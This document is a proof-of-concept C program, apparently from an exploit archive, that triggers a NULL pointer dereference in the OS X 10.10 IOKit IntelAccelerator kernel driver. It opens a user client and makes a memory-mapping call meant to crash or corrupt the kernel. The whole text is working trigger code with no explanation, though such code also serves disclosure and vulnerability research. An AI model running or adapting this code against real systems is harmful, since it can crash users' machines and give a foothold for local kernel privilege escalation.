OS X 10.10 IOKit IntelAccelerator NULL Pointer Dereference

`#include <fcntl.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
  
#include <IOKit/IOKitLib.h>  
  
int main(){  
kern_return_t err;  
  
CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");  
if(!matching){  
printf("unable to create service matching dictionary\n");  
return 0;  
}  
  
io_iterator_t iterator;  
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);  
if (err != KERN_SUCCESS){  
printf("no matches\n");  
return 0;  
}  
  
io_service_t service = IOIteratorNext(iterator);  
  
if (service == IO_OBJECT_NULL){  
printf("unable to find service\n");  
return 0;  
}  
printf("got service: %x\n", service);  
  
io_connect_t conn = MACH_PORT_NULL;  
err = IOServiceOpen(service, mach_task_self(), 2, &conn);  
if (err != KERN_SUCCESS){  
printf("unable to get user client connection\n");  
return 0;  
}else{  
printf("got userclient connection: %x\n", conn);  
}  
  
mach_vm_address_t addr = 0x414100000000;  
mach_vm_size_t size = 0x1000;  
  
err = IOConnectMapMemory(conn, 3, mach_task_self(), &addr, &size, kIOMapAnywhere);  
return 0;  
}  
  
`